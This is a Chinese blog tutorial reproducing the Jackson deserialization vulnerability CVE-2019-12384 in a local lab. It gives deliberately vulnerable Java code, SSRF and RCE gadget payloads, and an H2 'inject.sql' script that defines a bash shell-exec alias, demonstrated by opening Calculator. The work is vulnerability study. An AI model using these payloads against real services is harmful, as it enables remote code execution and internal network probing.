CVE-2019-12384:Jackson 反序列化漏洞复现
分析
根据 Jackson 开发者提到的信息,触发这个 Jackson 漏洞需要满足如下要求,所以该漏洞评级为中危:
- 目标应用接收到不可信客户端发送的 JSON 数据
- 目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性;
- 目标应用至少包含能够在 Java classpath 中利用的一个“gadget”类。在该漏洞中就是依赖的第三方 jar 包有点多,除去 jackson 自身的 jar 包以外还需要 logback-core 和 h2;
环境搭建
本文中用到的第三方库有:
- jackson-databind 2.9.8
- jackson-annotations-2.9.8.jar
- jackson-core-2.9.8.jar
- logback-core-1.3.0-alpha4.jar
- h2 1.4.199
在 http://www.mvnrepository.com 上下载即可。
漏洞代码
package com.baiyang;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class Main {
public static void main(String[] args) {
try {
Class.forName("org.h2.Driver").newInstance();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("Mapping");
//该条 payload 用于 SSRF 的复现
String SSRF = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:4444/~/hacker\"}]";
//该条 payload 用于 RCE 的复现
String RCE = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = null;
try {
//更换 SSRF 或 RCE 即可测试 SSRF 或者 RCE 漏洞的 payload
obj = mapper.readValue(RCE, java.lang.Object.class);
} catch(Exception e) {
e.printStackTrace();
}
System.out.println("objectified");
try {
System.out.println("stringified: " + mapper.writeValueAsString(obj));
} catch(Exception e) {
e.printStackTrace();
}
}
}
构建步骤
本文在 IDEA 上生成项目
- 新建 java Commandline 项目
- 将上述代码替换类
- 单击红框中的图标,进入项目结构设置
- 按照下图的步骤将下载好的外部 jar 包导入项目文件
攻击流程
- 将下面的 sql 脚本文件保存为
inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
注
:本文在 MacOS 下执行的 RCE,如在其它环境,请自行更换 CALL SHELLEXEC 中的命令。
- 执行本地执行 python2 -m SimpleHTTPServer 80,在本地启动 HTTP 服务
RCE payload 测试
将 java 文件中的 payload 更换为 RCE
,编译并运行 java 程序
SSRF payload 测试
- 执行
nc -l -vv 4444
,便于观察 SSRF 的结果 - 将 java 文件中的 payload 更换为
SSRF
,编译并运行 java 程序
参考
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论